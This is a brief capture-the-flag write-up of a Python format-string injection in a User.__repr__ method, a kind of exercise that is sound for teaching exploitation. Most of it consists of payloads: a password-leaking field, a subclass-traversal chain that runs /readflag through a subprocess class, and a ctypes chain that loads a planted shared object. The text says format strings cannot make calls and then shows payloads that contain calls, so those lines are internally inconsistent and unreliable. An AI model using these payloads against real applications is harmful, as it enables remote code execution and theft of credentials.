Gentleman
Challenge
A Python app whose User.__repr__ built a string and then called .format(i=self) on it a second time. Since the username landed inside that string before the second format pass, attacker-controlled text got evaluated as a Python format string, the same class of bug as a challenge I wrote for HackPack CTF.
| |
A username of {i.password} leaks the password; {i} gives self.
Approach
Format strings only do attribute and item lookups, not calls, but that is enough to climb the object graph:
{i.setpw.__class__.__base__.__subclasses__()}
Index to a class that runs subprocesses and you have RCE. Locally I caught a reverse shell and ran /readflag:
{i.setpw.__class__.__base__.__subclasses__()[542]('/readflag',shell=True,stdout=-1).communicate()[0].strip()}
On remote, the subclass offset drifts and calling functions inside a format string is awkward, so the clean exfil loads a shared object purely through lookups:
{i.__init__.__globals__[__builtins__][__loader__].load_module.__globals__[sys].modules[ctypes].cdll[/home/app/app/scores/<id>.score]}
Writing the payload to a score file and triggering the repr loads it as a library, no function call needed.